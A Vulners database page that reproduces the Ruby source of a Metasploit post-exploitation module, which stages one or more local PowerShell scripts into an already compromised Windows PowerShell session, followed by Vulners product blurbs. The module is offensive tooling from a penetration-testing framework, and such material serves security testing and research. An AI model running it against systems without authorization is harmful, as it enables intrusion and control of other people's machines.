Lucene search
K

Load Scripts Into PowerShell Session

Download and execute PowerShell scripts over a PowerShell session, show verbose stager results

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Load Scripts Into PowerShell Session',
        'Description' => %q{
          This module will download and execute one or more PowerShell scripts
          over a present powershell session.
          Setting VERBOSE to true will show the stager results.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['powershell'],
        'Author' => [
          'Ben Turner benpturner[at]yahoo.com',
          'Dave Hardy davehardy20[at]gmail.com'
        ]
      )
    )

    register_options(
      [
        OptPath.new('SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),
        OptPath.new('FOLDER', [false, 'Path to a local folder of PS scripts'])
      ]
    )
  end

  def run
    if datastore['SCRIPT']
      stage_psh_env(datastore['SCRIPT'])
    end
    if datastore['FOLDER']
      files = ::Dir.entries(datastore['FOLDER'])
      files.reject! { |u| %w[. ..].include?(u) }
      files.each { |script| stage_psh_env(datastore['FOLDER'] + script) }
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation